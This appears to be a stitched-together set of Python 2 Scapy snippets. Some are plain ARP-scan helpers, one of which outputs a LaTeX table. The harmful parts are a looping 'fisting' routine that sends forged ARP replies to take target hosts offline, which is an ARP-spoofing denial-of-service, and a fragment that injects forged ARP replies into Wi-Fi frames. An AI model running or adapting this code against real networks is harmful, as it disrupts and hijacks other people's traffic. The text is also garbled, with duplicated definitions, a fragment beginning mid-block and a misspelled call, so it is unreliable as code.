def arping(iprange="10.0.1.0/24"): """Arping function takes IP Address or Network, returns nested mac/ip list""" conf.verb = 0 ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=iprange), timeout=2) collection = [] for snd, rcv in ans: result = rcv.sprintf(r"%ARP.psrc% %Ether.src%").split() collection.append(result) return collection
def fisting(): arp_fist = ARP(pdst=argv[1], op=2) print "We are going to loop forever, CTRL-C to stop...\n" while True: sleep(3) for a in arp_fist: arping = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=a.pdst) ans, unans = srp(arping, timeout=0.1) if len(ans) == 1: a.psrc = a.pdst print a.pdst, "is ALIVE!" print "* Time to shut it down!" send(a) ans2, unans2 = srp(arping, timeout=0.1) if len(unans2) == 1: print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" print "@@@", a.psrc, "was rubber fisted!" print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" sleep(3) else: print "FAILED:", a.pdst, "is still alive :-(" else: print a.pdst, "is already DEAD!" print
def arping(iprange="10.0.1.0/24"): conf.verb = 0 ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=iprange), timeout=2) collection = [] for snd, rcv in ans: result = rcv.sprintf(r"%ARP.psrc% %Ether.src%").split() collection.append(result) return collection if __name__ == '__main__': if len(sys.argv) > 1: for ip in sys.argv[1:]: print "arping", ip print arping(ip) else: print apring()
# Building ARP Reply answer for injection dot11_answer = RadioTap()/Dot11( type = "Data", FCfield = "from-DS", addr1 = dot11_frame.getlayer(Dot11).addr2, addr2 = BSSID) dot11_answer.addr3 = HWSRC if WEP: dot11_answer.FCfield |= 0x40 dot11_answer /= Dot11WEP( iv = "111", keyid = KEYID) dot11_answer /= LLC(ctrl=3)/SNAP()/ARP( op = "is-at", hwsrc = HWSRC, psrc = dot11_frame.getlayer(ARP).pdst, hwdst = dot11_frame.getlayer(ARP).hwsrc, pdst = dot11_frame.getlayer(ARP).psrc) dot11_answer /= dot11_frame.getlayer(ARP).payload if DEBUG: os.write(1,"Sending ARP Reply on %s\n" % OUT_IFACE) if VERB: os.write(1,"%s\n" % dot11_answer.summary()) # Frame injection : sendp(dot11_answer,verbose=0) # Send frame # Program killed except KeyboardInterrupt: print "Stopped by user."
#! /usr/bin/env python # arping2tex : arpings a network and outputs a LaTeX table as result import sys if len(sys.argv) != 2: print "Usage: arping2tex <net>\n eg: arping2tex 192.168.1.0/24" sys.exit(1) from scapy import srp, Ether, ARP, conf conf.verb = 0 ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=sys.argv[1]), timeout=2) print "\\begin{tabular}{|l|l|}" print "\\hline" print "MAC & IP\\\\" print "\\hline" for s, r in ans: print r.sprintf("%Ether.src% & %ARP.psrc%\\\\") print "\\hline" print "\end{tabular}"
from scapy import srp,Ether,ARP,conf conf.verb=0 ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.1.1"), timeout=2) for snd, rcv in ans: print rcv.sprintf(r"%Ether.src% %ARP.psrc%")